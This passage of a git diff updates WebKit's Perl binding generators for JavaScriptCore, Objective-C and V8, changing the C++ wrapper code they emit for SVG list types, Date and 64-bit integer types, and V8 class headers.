+        push(@implContent, "     Base::getOwnPropertyNames(exec, propertyNames, mode);\n");
         push(@implContent, "}\n\n");
     }
 
-    if ($dataNode->extendedAttributes->{"GenerateConstructor"}) {
+    if (!($dataNode->extendedAttributes->{"OmitConstructor"} || $dataNode->extendedAttributes->{"CustomConstructor"})) {
         push(@implContent, "JSValue ${className}::getConstructor(ExecState* exec, JSGlobalObject* globalObject)\n{\n");
         push(@implContent, "    return getDOMConstructor<${className}Constructor>(exec, static_cast<JSDOMGlobalObject*>(globalObject));\n");
         push(@implContent, "}\n\n");
@@ -1590,15 +1599,31 @@ sub GenerateImplementation
                 push(@implContent, "        return jsUndefined();\n");
             }
 
+            # Special case for JSSVGLengthList / JSSVGTransformList / JSSVGPointList / JSSVGNumberList
+            # Instead of having JSSVG*Custom.cpp implementations for the SVGList interface for all of these
+            # classes, we directly forward the calls to JSSVGPODListCustom, which centralizes the otherwise
+            # duplicated code for the JSSVG*List classes mentioned above.
+            my $svgPODListType;
+            if ($implClassName =~ /SVG.*List/) {
+                $svgPODListType = $implClassName;
+                $svgPODListType =~ s/List$//;
+                $svgPODListType = "" unless $codeGenerator->IsPodType($svgPODListType);
+                
+                # Ignore additional (non-SVGList) SVGTransformList methods, that are not handled through JSSVGPODListCustom
+                $svgPODListType = "" if $functionImplementationName =~ /createSVGTransformFromMatrix/;
+                $svgPODListType = "" if $functionImplementationName =~ /consolidate/;
+            }
+
             if ($function->signature->extendedAttributes->{"Custom"} || $function->signature->extendedAttributes->{"JSCCustom"}) {
                 push(@implContent, "    return castedThisObj->" . $functionImplementationName . "(exec, args);\n");
+            } elsif ($svgPODListType) {
+                $implIncludes{"JS${svgPODListType}.h"} = 1;
+                $implIncludes{"JSSVGPODListCustom.h"} = 1;
+                push(@implContent, "    return JSSVGPODListCustom::$functionImplementationName<$className, " . GetNativeType($svgPODListType)
+                                 . ">(castedThisObj, exec, args, to" . $svgPODListType . ");\n");
             } else {
-                if ($podType) {
-                    push(@implContent, "    JSSVGPODTypeWrapper<$podType>* wrapper = castedThisObj->impl();\n");
-                    push(@implContent, "    $podType imp(*wrapper);\n");
-                } else {
-                    push(@implContent, "    $implClassName* imp = static_cast<$implClassName*>(castedThisObj->impl());\n");
-                }
+                push(@implContent, "    $implType* imp = static_cast<$implType*>(castedThisObj->impl());\n");
+                push(@implContent, "    $podType podImp(*imp);\n") if $podType;
 
                 my $numParameters = @{$function->parameters};
 
@@ -1618,7 +1643,7 @@ sub GenerateImplementation
                 }
 
                 my $paramIndex = 0;
-                my $functionString = "imp" . ($podType ? "." : "->") . $functionImplementationName . "(";
+                my $functionString = ($podType ? "podImp." : "imp->") . $functionImplementationName . "(";
 
                 my $hasOptionalArguments = 0;
 
@@ -1672,7 +1697,12 @@ sub GenerateImplementation
                     } else {
                         $functionString .= $name;
                     }
+                    $paramIndex++;
+                }
 
+                if ($function->signature->extendedAttributes->{"NeedsUserGestureCheck"}) {
+                    $functionString .= ", " if $paramIndex;
+                    $functionString .= "processingUserGesture(exec)";
                     $paramIndex++;
                 }
 
@@ -1690,7 +1720,7 @@ sub GenerateImplementation
             my $getter = "js" . $interfaceName . $codeGenerator->WK_ucfirst($constant->name);
 
             # FIXME: this casts into int to match our previous behavior which turned 0xFFFFFFFF in -1 for NodeFilter.SHOW_ALL
-            push(@implContent, "JSValue ${getter}(ExecState* exec, const Identifier&, const PropertySlot&)\n");
+            push(@implContent, "JSValue ${getter}(ExecState* exec, JSValue, const Identifier&)\n");
             push(@implContent, "{\n");
             push(@implContent, "    return jsNumber(exec, static_cast<int>(" . $constant->value . "));\n");
             push(@implContent, "}\n\n");
@@ -1698,14 +1728,14 @@ sub GenerateImplementation
     }
 
     if ($dataNode->extendedAttributes->{"HasIndexGetter"}) {
-        push(@implContent, "\nJSValue ${className}::indexGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)\n");
+        push(@implContent, "\nJSValue ${className}::indexGetter(ExecState* exec, JSValue slotBase, unsigned index)\n");
         push(@implContent, "{\n");
-        push(@implContent, "    ${className}* thisObj = static_cast<$className*>(asObject(slot.slotBase()));\n");
+        push(@implContent, "    ${className}* thisObj = static_cast<$className*>(asObject(slotBase));\n");
         if (IndexGetterReturnsStrings($implClassName)) {
             $implIncludes{"KURL.h"} = 1;
-            push(@implContent, "    return jsStringOrNull(exec, thisObj->impl()->item(slot.index()));\n");
+            push(@implContent, "    return jsStringOrNull(exec, thisObj->impl()->item(index));\n");
         } else {
-            push(@implContent, "    return toJS(exec, thisObj->globalObject(), static_cast<$implClassName*>(thisObj->impl())->item(slot.index()));\n");
+            push(@implContent, "    return toJS(exec, thisObj->globalObject(), static_cast<$implClassName*>(thisObj->impl())->item(index));\n");
         }
         push(@implContent, "}\n");
         if ($interfaceName eq "HTMLCollection" or $interfaceName eq "HTMLAllCollection") {
@@ -1729,11 +1759,10 @@ sub GenerateImplementation
         if ($podType) {
             push(@implContent, "JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, JSSVGPODTypeWrapper<$podType>* object, SVGElement* context)\n");
         } elsif (IsSVGTypeNeedingContextParameter($implClassName)) {
-             push(@implContent, "JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, $implType* object, SVGElement* context)\n");
+            push(@implContent, "JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, $implType* object, SVGElement* context)\n");
         } else {
             push(@implContent, "JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, $implType* object)\n");
         }
-
         push(@implContent, "{\n");
         if ($podType) {
             push(@implContent, "    return getDOMObjectWrapper<$className, JSSVGPODTypeWrapper<$podType> >(exec, globalObject, object, context);\n");
@@ -1791,11 +1820,7 @@ sub GenerateImplementationFunctionCall()
     if ($function->signature->type eq "void") {
         push(@implContent, $indent . "$functionString;\n");
         push(@implContent, $indent . "setDOMException(exec, ec);\n") if @{$function->raisesExceptions};
-
-        if ($podType) {
-            push(@implContent, $indent . "wrapper->commitChange(imp, castedThisObj->context());\n");
-        }
-
+        push(@implContent, $indent . "imp->commitChange(podImp, castedThisObj);\n") if $podType;
         push(@implContent, $indent . "return jsUndefined();\n");
     } else {
         push(@implContent, "\n" . $indent . "JSC::JSValue result = " . NativeToJSValue($function->signature, 1, $implClassName, "", $functionString, "castedThisObj") . ";\n");
@@ -1804,7 +1829,7 @@ sub GenerateImplementationFunctionCall()
         if ($podType and not $function->signature->extendedAttributes->{"Immutable"}) {
             # Immutable methods do not commit changes back to the instance, thus producing
             # a new instance rather than mutating existing one.
-            push(@implContent, $indent . "wrapper->commitChange(imp, castedThisObj->context());\n");
+            push(@implContent, $indent . "imp->commitChange(podImp, castedThisObj);\n");
         }
 
         push(@implContent, $indent . "return result;\n");
@@ -1827,11 +1852,14 @@ sub GetNativeTypeFromSignature
 my %nativeType = (
     "CompareHow" => "Range::CompareHow",
     "DOMString" => "const UString&",
+    "DOMObject" => "ScriptValue",
     "NodeFilter" => "RefPtr<NodeFilter>",
+    "SVGAngle" => "SVGAngle",
     "SVGLength" => "SVGLength",
-    "SVGMatrix" => "TransformationMatrix",
+    "SVGMatrix" => "AffineTransform",
     "SVGNumber" => "float",
     "SVGPaintType" => "SVGPaint::SVGPaintType",
+    "SVGPreserveAspectRatio" => "SVGPreserveAspectRatio",
     "SVGPoint" => "FloatPoint",
     "SVGRect" => "FloatRect",
     "SVGTransform" => "SVGTransform",
@@ -1841,6 +1869,8 @@ my %nativeType = (
     "long" => "int",
     "unsigned long" => "unsigned",
     "unsigned short" => "unsigned short",
+    "long long" => "long long",
+    "unsigned long long" => "unsigned long long",
 );
 
 sub GetNativeType
@@ -1864,7 +1894,9 @@ sub JSValueToNative
     return "$value.toNumber(exec)" if $type eq "double";
     return "$value.toFloat(exec)" if $type eq "float" or $type eq "SVGNumber";
     return "$value.toInt32(exec)" if $type eq "unsigned long" or $type eq "long" or $type eq "unsigned short";
+    return "static_cast<$type>($value.toInteger(exec))" if $type eq "long long" or $type eq "unsigned long long";
 
+    return "valueToDate(exec, $value)" if $type eq "Date";
     return "static_cast<Range::CompareHow>($value.toInt32(exec))" if $type eq "CompareHow";
     return "static_cast<SVGPaint::SVGPaintType>($value.toInt32(exec))" if $type eq "SVGPaintType";
 
@@ -1874,7 +1906,11 @@ sub JSValueToNative
         return "$value.toString(exec)";
     }
 
-    if ($type eq "SerializedScriptValue") {
+    if ($type eq "DOMObject") {
+        return "$value";
+    }
+
+    if ($type eq "SerializedScriptValue" or $type eq "any") {
         $implIncludes{"SerializedScriptValue.h"} = 1;
         return "SerializedScriptValue::create(exec, $value)";
     }
@@ -1902,7 +1938,11 @@ sub NativeToJSValue
     my $type = $codeGenerator->StripModule($signature->type);
 
     return "jsBoolean($value)" if $type eq "boolean";
-    
+
+    # Need to check Date type before IsPrimitiveType().
+    if ($type eq "Date") {
+        return "jsDateOrNull(exec, $value)";
+    }
     if ($codeGenerator->IsPrimitiveType($type) or $type eq "SVGPaintType" or $type eq "DOMTimeStamp") {
         $implIncludes{"<runtime/JSNumberCell.h>"} = 1;
         return "jsNumber(exec, $value)";
@@ -1922,9 +1962,7 @@ sub NativeToJSValue
         return "jsString(exec, $value)";
     }
     
-    # Some SVG bindings don't have space to store a globalObject pointer, for those, we use the deprecatedGlobalObjectForPrototype hack for now.
-    my $globalObject = IsSVGTypeNeedingContextParameter($implClassName) ? "deprecatedGlobalObjectForPrototype(exec)" : "$thisValue->globalObject()";
-
+    my $globalObject = "$thisValue->globalObject()";
     if ($codeGenerator->IsPodType($type)) {
         $implIncludes{"JS$type.h"} = 1;
 
@@ -1942,25 +1980,16 @@ sub NativeToJSValue
             and $codeGenerator->IsPodTypeWithWriteableProperties($type)
             and not defined $signature->extendedAttributes->{"Immutable"}) {
             if ($codeGenerator->IsPodType($implClassName)) {
-                return "toJS(exec, $globalObject, JSSVGStaticPODTypeWrapperWithPODTypeParent<$nativeType, $implClassName>::create($value, $thisValue->impl()).get(), $thisValue->context())";
+                return "toJS(exec, $globalObject, JSSVGStaticPODTypeWrapperWithPODTypeParent<$nativeType, $implClassName>::create($value, $thisValue->impl()).get(), JSSVGContextCache::svgContextForDOMObject(castedThis))";
             } else {
                 return "toJS(exec, $globalObject, JSSVGStaticPODTypeWrapperWithParent<$nativeType, $implClassName>::create(imp, &${implClassName}::$getter, &${implClassName}::$setter).get(), imp)";
             }
         }
 
         if ($implClassNameForValueConversion eq "") {
-            # SVGZoomEvent has no context() pointer, and is also not an SVGElement.
-            # This is not a problem, because SVGZoomEvent has no read/write properties.
-            return "toJS(exec, $globalObject, JSSVGStaticPODTypeWrapper<$nativeType>::create($value).get(), 0)" if $implClassName eq "SVGZoomEvent";
-
-            if (IsSVGTypeNeedingContextParameter($implClassName)) {
-                return "toJS(exec, $globalObject, JSSVGStaticPODTypeWrapper<$nativeType>::create($value).get(), castedThisObj->context())" if $inFunctionCall;
-                return "toJS(exec, $globalObject, JSSVGStaticPODTypeWrapper<$nativeType>::create($value).get(), $thisValue->context())";
-            } else {
-                return "toJS(exec, $globalObject, JSSVGStaticPODTypeWrapper<$nativeType>::create($value).get(), imp)";
-            }
-        } else { # These classes, always have a m_context pointer!
-            return "toJS(exec, $globalObject, JSSVGDynamicPODTypeWrapperCache<$nativeType, $implClassNameForValueConversion>::lookupOrCreateWrapper(imp, &${implClassNameForValueConversion}::$getter, &${implClassNameForValueConversion}::$setter).get(), $thisValue->context())";
+            return "toJS(exec, $globalObject, JSSVGStaticPODTypeWrapper<$nativeType>::create($value).get(), 0 /* no context on purpose */)";
+        } else {
+            return "toJS(exec, $globalObject, JSSVGDynamicPODTypeWrapperCache<$nativeType, $implClassNameForValueConversion>::lookupOrCreateWrapper(imp, &${implClassNameForValueConversion}::$getter, &${implClassNameForValueConversion}::$setter).get(), JSSVGContextCache::svgContextForDOMObject(castedThis));"
         }
     }
 
@@ -1980,15 +2009,19 @@ sub NativeToJSValue
     }
 
     if ($type eq "DOMObject") {
-        $implIncludes{"JSCanvasRenderingContext2D.h"} = 1;
+        if ($implClassName eq "Document") {
+            $implIncludes{"JSCanvasRenderingContext2D.h"} = 1;
+        } else {
+            return "$value.jsValue();";
+        }
     } elsif ($type =~ /SVGPathSeg/) {
         $implIncludes{"JS$type.h"} = 1;
         $joinedName = $type;
         $joinedName =~ s/Abs|Rel//;
         $implIncludes{"$joinedName.h"} = 1;
-    } elsif ($type eq "SerializedScriptValue") {
-        $implIncludes{"$type.h"} = 1;
-        return "$value->deserialize(exec)";
+    } elsif ($type eq "SerializedScriptValue" or $type eq "any") {
+        $implIncludes{"SerializedScriptValue.h"} = 1;
+        return "$value ? $value->deserialize(exec, castedThis->globalObject()) : jsNull()";
     } else {
         # Default, include header with same name.
         $implIncludes{"JS$type.h"} = 1;
@@ -1998,7 +2031,7 @@ sub NativeToJSValue
     return $value if $codeGenerator->IsSVGAnimatedType($type);
 
     if (IsSVGTypeNeedingContextParameter($type)) {
-        my $contextPtr = IsSVGTypeNeedingContextParameter($implClassName) ? "$thisValue->context()" : "imp";
+        my $contextPtr = IsSVGTypeNeedingContextParameter($implClassName) ? "JSSVGContextCache::svgContextForDOMObject(castedThis)" : "imp";
         return "toJS(exec, $globalObject, WTF::getPtr($value), $contextPtr)";
     }
 
@@ -2118,6 +2151,7 @@ tableSizeLoop:
     $i = 0;
     foreach my $key (@{$keys}) {
         my $conditional;
+        my $targetType;
 
         if ($conditionals) {
             $conditional = $conditionals->{$key};
@@ -2126,7 +2160,13 @@ tableSizeLoop:
             my $conditionalString = "ENABLE(" . join(") && ENABLE(", split(/&/, $conditional)) . ")";
             push(@implContent, "#if ${conditionalString}\n");
         }
-        push(@implContent, "    { \"$key\", @$specials[$i], (intptr_t)@$value1[$i], (intptr_t)@$value2[$i] },\n");
+        
+        if ("@$specials[$i]" =~ m/Function/) {
+            $targetType = "static_cast<NativeFunction>";
+        } else {
+            $targetType = "static_cast<PropertySlot::GetValueFunc>";
+        }
+        push(@implContent, "    { \"$key\", @$specials[$i], (intptr_t)" . $targetType . "(@$value1[$i]), (intptr_t)@$value2[$i] },\n");
         if ($conditional) {
             push(@implContent, "#endif\n");
         }
@@ -2241,12 +2281,23 @@ sub WriteData
         }
 
         print $HEADER @headerContent;
+
+        @includes = ();
+        foreach my $include (keys %headerTrailingIncludes) {
+            $include = "\"$include\"" unless $include =~ /^["<]/; # "
+            push @includes, $include;
+        }
+        foreach my $include (sort @includes) {
+            print $HEADER "#include $include\n";
+        }
+
         close($HEADER);
         undef($HEADER);
 
         @headerContentHeader = ();
         @headerContent = ();
         %headerIncludes = ();
+        %headerTrailingIncludes = ();
     }
 
     if (defined($DEPS)) {
@@ -2283,7 +2334,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
diff --git a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorObjC.pm b/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorObjC.pm
index 91248c5..3c5fe45 100644
--- a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorObjC.pm
+++ b/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorObjC.pm
@@ -17,7 +17,7 @@
 # Library General Public License for more details.
 # 
 # You should have received a copy of the GNU Library General Public License
-# aint with this library; see the file COPYING.LIB.  If not, write to
+# along with this library; see the file COPYING.LIB.  If not, write to
 # the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
 # Boston, MA 02110-1301, USA.
 #
@@ -66,7 +66,7 @@ my %nativeObjCTypeHash = ("URL" => 1, "Color" => 1);
 my %baseTypeHash = ("Object" => 1, "Node" => 1, "NodeList" => 1, "NamedNodeMap" => 1, "DOMImplementation" => 1,
                     "Event" => 1, "CSSRule" => 1, "CSSValue" => 1, "StyleSheet" => 1, "MediaList" => 1,
                     "Counter" => 1, "Rect" => 1, "RGBColor" => 1, "XPathExpression" => 1, "XPathResult" => 1,
-                    "NodeIterator" => 1, "TreeWalker" => 1, "AbstractView" => 1,
+                    "NodeIterator" => 1, "TreeWalker" => 1, "AbstractView" => 1, "Blob" => 1,
                     "SVGAngle" => 1, "SVGAnimatedAngle" => 1, "SVGAnimatedBoolean" => 1, "SVGAnimatedEnumeration" => 1,
                     "SVGAnimatedInteger" => 1, "SVGAnimatedLength" => 1, "SVGAnimatedLengthList" => 1,
                     "SVGAnimatedNumber" => 1, "SVGAnimatedNumberList" => 1, "SVGAnimatedPoints" => 1,
@@ -222,7 +222,13 @@ sub ReadPublicInterfaces
     %publicInterfaces = ();
 
     my $fileName = "WebCore/bindings/objc/PublicDOMInterfaces.h";
-    open FILE, "-|", "/usr/bin/gcc", "-E", "-P", "-x", "objective-c", 
+    my $gccLocation = "";
+    if (($Config::Config{'osname'}) =~ /solaris/i) {
+        $gccLocation = "/usr/sfw/bin/gcc";
+    } else {
+        $gccLocation = "/usr/bin/gcc";
+    }
+    open FILE, "-|", $gccLocation, "-E", "-P", "-x", "objective-c",
         (map { "-D$_" } split(/ +/, $defines)), "-DOBJC_CODE_GENERATION", $fileName or die "Could not open $fileName";
     my @documentContent = <FILE>;
     close FILE;
@@ -316,6 +322,7 @@ sub GetClassName
     return "BOOL" if $name eq "boolean";
     return "unsigned" if $name eq "unsigned long";
     return "int" if $name eq "long";
+    return "NSTimeInterval" if $name eq "Date";
     return "DOMAbstractView" if $name eq "DOMWindow";
     return $name if $codeGenerator->IsPrimitiveType($name) or $name eq "DOMImplementation" or $name eq "DOMTimeStamp";
 
@@ -577,7 +584,7 @@ sub AddIncludesForType
     }
 
     if ($type eq "SVGMatrix") {
-        $implIncludes{"TransformationMatrix.h"} = 1;
+        $implIncludes{"AffineTransform.h"} = 1;
         $implIncludes{"DOMSVGMatrixInternal.h"} = 1;
         $implIncludes{"SVGException.h"} = 1;
         return;
@@ -1040,6 +1047,7 @@ sub GenerateImplementation
     $implIncludes{$classHeaderName . "Internal.h"} = 1;
 
     # FIXME: These includes are only needed when the class is a subclass of one of these polymorphic classes.
+    $implIncludes{"DOMBlobInternal.h"} = 1;
     $implIncludes{"DOMCSSRuleInternal.h"} = 1;
     $implIncludes{"DOMCSSValueInternal.h"} = 1;
     $implIncludes{"DOMEventInternal.h"} = 1;
@@ -1221,7 +1229,7 @@ sub GenerateImplementation
                 $getterContentTail .= ")";
             } elsif ($attribute->signature->extendedAttributes->{"ConvertFromString"}) {
                 $getterContentTail .= ".toInt()";
-            } elsif ($codeGenerator->IsPodType($idlType)) {
+            } elsif ($codeGenerator->IsPodType($idlType) or $idlType eq "Date") {
                 $getterContentHead = "kit($getterContentHead";
                 $getterContentTail .= ")";
             } elsif (IsProtocolType($idlType) and $idlType ne "EventTarget") {
@@ -1292,6 +1300,10 @@ sub GenerateImplementation
                     push(@implContent, "    ASSERT($argName);\n\n");
                 }
 
+                if ($idlType eq "Date") {
+                    $arg = "core(" . $arg . ")";
+                }
+
                 if ($podType) {
                     # Special case for DOMSVGNumber
                     if ($podType eq "float") {
@@ -1420,8 +1432,8 @@ sub GenerateImplementation
             }
 
             # FIXME! We need [Custom] support for ObjC, to move these hacks into DOMSVGLength/MatrixCustom.mm
-            my $svgMatrixRotateFromVector = ($podType and $podType eq "TransformationMatrix" and $functionName eq "rotateFromVector");
-            my $svgMatrixInverse = ($podType and $podType eq "TransformationMatrix" and $functionName eq "inverse");
+            my $svgMatrixRotateFromVector = ($podType and $podType eq "AffineTransform" and $functionName eq "rotateFromVector");
+            my $svgMatrixInverse = ($podType and $podType eq "AffineTransform" and $functionName eq "inverse");
             my $svgLengthConvertToSpecifiedUnits = ($podType and $podType eq "SVGLength" and $functionName eq "convertToSpecifiedUnits");
 
             push(@parameterNames, "ec") if $raisesExceptions and !($svgMatrixRotateFromVector || $svgMatrixInverse);
diff --git a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorV8.pm b/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorV8.pm
index 95b2aa2..68007e2 100644
--- a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorV8.pm
+++ b/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorV8.pm
@@ -7,8 +7,6 @@
 # Copyright (C) 2007, 2008, 2009 Google Inc.
 # Copyright (C) 2009 Cameron McCormack <cam@mcc.id.au>
 #
-# This file is part of the KDE project
-#
 # This library is free software; you can redistribute it and/or
 # modify it under the terms of the GNU Library General Public
 # License as published by the Free Software Foundation; either
@@ -20,7 +18,7 @@
 # Library General Public License for more details.
 #
 # You should have received a copy of the GNU Library General Public License
-# aint with this library; see the file COPYING.LIB.  If not, write to
+# along with this library; see the file COPYING.LIB.  If not, write to
 # the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
 # Boston, MA 02111-1307, USA.
 #
@@ -86,11 +84,6 @@ sub finish
     $object->WriteData();
 }
 
-sub leftShift($$) {
-    my ($value, $distance) = @_;
-    return (($value << $distance) & 0xFFFFFFFF);
-}
-
 # Workaround for V8 bindings difference where RGBColor is not a POD type.
 sub IsPodType
 {
@@ -128,13 +121,6 @@ sub GenerateModule
     $module = $dataNode->module;
 }
 
-sub GetLegacyHeaderIncludes
-{
-    my $legacyParent = shift;
-
-    die "Don't know what headers to include for module $module";
-}
-
 sub AvoidInclusionOfType
 {
     my $type = shift;
@@ -144,28 +130,21 @@ sub AvoidInclusionOfType
     return 0;
 }
 
-sub UsesManualToJSImplementation
-{
-    my $type = shift;
-
-    return 1 if $type eq "SVGPathSeg";
-    return 0;
-}
-
 sub AddIncludesForType
 {
     my $type = $codeGenerator->StripModule(shift);
 
     # When we're finished with the one-file-per-class
     # reorganization, we won't need these special cases.
-    if ($codeGenerator->IsPrimitiveType($type) or AvoidInclusionOfType($type)) {
-    } elsif ($type =~ /SVGPathSeg/) {
-        $joinedName = $type;
-        $joinedName =~ s/Abs|Rel//;
-        $implIncludes{"${joinedName}.h"} = 1;
-    } else {
+    if (!$codeGenerator->IsPrimitiveType($type) and !AvoidInclusionOfType($type) and $type ne "Date") {
         # default, include the same named file
-        $implIncludes{GetImplementationFileName(${type})} = 1;
+        $implIncludes{GetV8HeaderName(${type})} = 1;
+
+        if ($type =~ /SVGPathSeg/) {
+            $joinedName = $type;
+            $joinedName =~ s/Abs|Rel//;
+            $implIncludes{"${joinedName}.h"} = 1;
+        }
     }
 
     # additional includes (things needed to compile the bindings but not the header)
@@ -204,25 +183,6 @@ sub AddIncludesForSVGAnimatedType
     $implIncludes{"SVGAnimatedTemplate.h"} = 1;
 }
 
-sub AddClassForwardIfNeeded
-{
-    my $implClassName = shift;
-
-    # SVGAnimatedLength/Number/etc.. are typedefs to SVGAnimtatedTemplate, so don't use class forwards for them!
-    push(@headerContent, "class $implClassName;\n\n") unless $codeGenerator->IsSVGAnimatedType($implClassName);
-}
-
-sub GetImplementationFileName
-{
-    my $iface = shift;
-    return "Event.h" if $iface eq "DOMTimeStamp";
-    return "NamedAttrMap.h" if $iface eq "NamedNodeMap";
-    return "NameNodeList.h" if $iface eq "NodeList";
-    return "XMLHttpRequest.h" if $iface eq "XMLHttpRequest";
-
-    return "${iface}.h";
-}
-
 # If the node has a [Conditional=XXX] attribute, returns an "ENABLE(XXX)" string for use in an #if.
 sub GenerateConditionalString
 {
@@ -260,39 +220,109 @@ sub GenerateHeader
 
     # Get correct pass/store types respecting PODType flag
     my $podType = $dataNode->extendedAttributes->{"PODType"};
-    my $passType = $podType ? "JSSVGPODTypeWrapper<$podType>*" : "$implClassName*";
 
     push(@headerContent, "#include \"$podType.h\"\n") if $podType and ($podType ne "double" and $podType ne "float" and $podType ne "RGBA32");
 
     push(@headerContent, "#include <v8.h>\n");
     push(@headerContent, "#include <wtf/HashMap.h>\n");
     push(@headerContent, "#include \"StringHash.h\"\n");
-
-    push(@headerContent, "\nnamespace WebCore {\n\n");
-    push(@headerContent, "class V8ClassIndex;\n");
+    push(@headerContent, "#include \"WrapperTypeInfo.h\"\n");
+    push(@headerContent, GetHeaderClassInclude($implClassName));
+    push(@headerContent, "\nnamespace WebCore {\n");
+    if ($podType) {
+        push(@headerContent, "\ntemplate<typename PODType> class V8SVGPODTypeWrapper;\n");
+    }
     push(@headerContent, "\nclass $className {\n");
+
+    my $nativeType = GetNativeTypeForConversions($interfaceName);
+    if ($podType) {
+        $nativeType = "V8SVGPODTypeWrapper<${nativeType} >";
+    }
+    my $forceNewObjectParameter = IsDOMNodeType($interfaceName) ? ", bool forceNewObject = false" : "";
     push(@headerContent, <<END);
 
- public:
-  static bool HasInstance(v8::Handle<v8::Value> value);
-  static v8::Persistent<v8::FunctionTemplate> GetRawTemplate();
+public:
+    static bool HasInstance(v8::Handle<v8::Value> value);
+    static v8::Persistent<v8::FunctionTemplate> GetRawTemplate();
+    static v8::Persistent<v8::FunctionTemplate> GetTemplate();
+    static ${nativeType}* toNative(v8::Handle<v8::Object>);
+    static v8::Handle<v8::Object> wrap(${nativeType}*${forceNewObjectParameter});
+    static void derefObject(void*);
+    static WrapperTypeInfo info;
 END
+    if (IsActiveDomType($implClassName)) {
+        push(@headerContent, "    static ActiveDOMObject* toActiveDOMObject(v8::Handle<v8::Object>);\n");
+    }
 
     if ($implClassName eq "DOMWindow") {
-      push(@headerContent, <<END);
-  static v8::Persistent<v8::ObjectTemplate> GetShadowObjectTemplate();
+        push(@headerContent, <<END);
+    static v8::Persistent<v8::ObjectTemplate> GetShadowObjectTemplate();
 END
     }
 
-    push(@headerContent, <<END);
+    my @enabledAtRuntime;
+    foreach my $function (@{$dataNode->functions}) {
+        my $name = $function->signature->name;
+        my $attrExt = $function->signature->extendedAttributes;
 
- private:
-  static v8::Persistent<v8::FunctionTemplate> GetTemplate();
+        if ($attrExt->{"Custom"} || $attrExt->{"V8Custom"}) {
+            push(@headerContent, <<END);
+    static v8::Handle<v8::Value> ${name}Callback(const v8::Arguments&);
+END
+        }
+
+        if ($attrExt->{"EnabledAtRuntime"}) {
+            push(@enabledAtRuntime, $function);
+        }
+    }
+
+    if ($dataNode->extendedAttributes->{"CustomConstructor"} || $dataNode->extendedAttributes->{"CanBeConstructed"}) {
+        push(@headerContent, <<END);
+    static v8::Handle<v8::Value> constructorCallback(const v8::Arguments& args);
+END
+    }
+
+    foreach my $attribute (@{$dataNode->attributes}) {
+        my $name = $attribute->signature->name;
+        my $attrExt = $attribute->signature->extendedAttributes;
+        if ($attrExt->{"V8CustomGetter"} || $attrExt->{"CustomGetter"}
+            || $attrExt->{"V8Custom"} || $attrExt->{"Custom"}) {
+            push(@headerContent, <<END);
+    static v8::Handle<v8::Value> ${name}AccessorGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info);
+END
+        }
+        if ($attrExt->{"V8CustomSetter"} || $attrExt->{"CustomSetter"}
+            || $attrExt->{"V8Custom"} || $attrExt->{"Custom"}) {
+            push(@headerContent, <<END);
+    static void ${name}AccessorSetter(v8::Local<v8::String> name, v8::Local<v8::Value> value, const v8::AccessorInfo& info);
+END
+        }
+        if ($attrExt->{"EnabledAtRuntime"}) {
+            push(@enabledAtRuntime, $attribute);
+        }
+    }
+
+    GenerateHeaderNamedAndIndexedPropertyAccessors($dataNode);
+    GenerateHeaderCustomCall($dataNode);
+    GenerateHeaderCustomInternalFieldIndices($dataNode);
+
+    if ($dataNode->extendedAttributes->{"CheckDomainSecurity"}) {
+        push(@headerContent, <<END);
+    static bool namedSecurityCheck(v8::Local<v8::Object> host, v8::Local<v8::Value> key, v8::AccessType, v8::Local<v8::Value> data);
+    static bool indexedSecurityCheck(v8::Local<v8::Object> host, uint32_t index, v8::AccessType, v8::Local<v8::Value> data);
+END
+    }
 
-  friend class V8ClassIndex;
+    push(@headerContent, <<END);
 };
 
+    v8::Handle<v8::Value> toV8(${nativeType}*${forceNewObjectParameter});
+END
+    if (IsRefPtrType($implClassName)) {
+        push(@headerContent, <<END);
+    v8::Handle<v8::Value> toV8(PassRefPtr<${nativeType} >${forceNewObjectParameter});
 END
+    }
 
     push(@headerContent, "}\n\n");
     push(@headerContent, "#endif // $className" . "_H\n");
@@ -300,6 +330,151 @@ END
     push(@headerContent, "#endif // ${conditionalString}\n\n") if $conditionalString;
 }
 
+sub GetInternalFields
+{
+    my $dataNode = shift;
+    my $name = $dataNode->name;
+    
+    my @customInternalFields = ();
+ 
+    # We can't ask whether a parent type has a given extendedAttribute, so special-case Node, AbstractWorker and WorkerContext to include all sub-types.
+    # FIXME: SVGElementInstance should probably have the EventTarget extended attribute, but doesn't.
+    if ($dataNode->extendedAttributes->{"EventTarget"} || IsNodeSubType($dataNode) || IsSubType($dataNode, "AbstractWorker") || IsSubType($dataNode, "WorkerContext")
+        || $name eq "SVGElementInstance") {
+        push(@customInternalFields, "eventListenerCacheIndex");
+    }
+
+    if (IsSubType($dataNode, "Document")) {
+        push(@customInternalFields, "implementationIndex");
+        if ($name eq "HTMLDocument") {
+            push(@customInternalFields, ("markerIndex", "shadowIndex"));
+        }
+    } elsif (IsSubType($dataNode, "StyleSheet") || $name eq "NamedNodeMap") {
+        push(@customInternalFields, "ownerNodeIndex");
+    } elsif ($name eq "MessageChannel") {
+        push(@customInternalFields, ("port1Index", "port2Index"));
+    } elsif ($name eq "DOMWindow") {
+        push(@customInternalFields, ("consoleIndex", "historyIndex", "locationbarIndex", "menubarIndex", "navigatorIndex", 
+            "personalbarIndex", "screenIndex", "scrollbarsIndex", "selectionIndex", "statusbarIndex", "toolbarIndex", "locationIndex",
+            "domSelectionIndex", "enteredIsolatedWorldIndex"));
+    }
+    return @customInternalFields;
+}
+
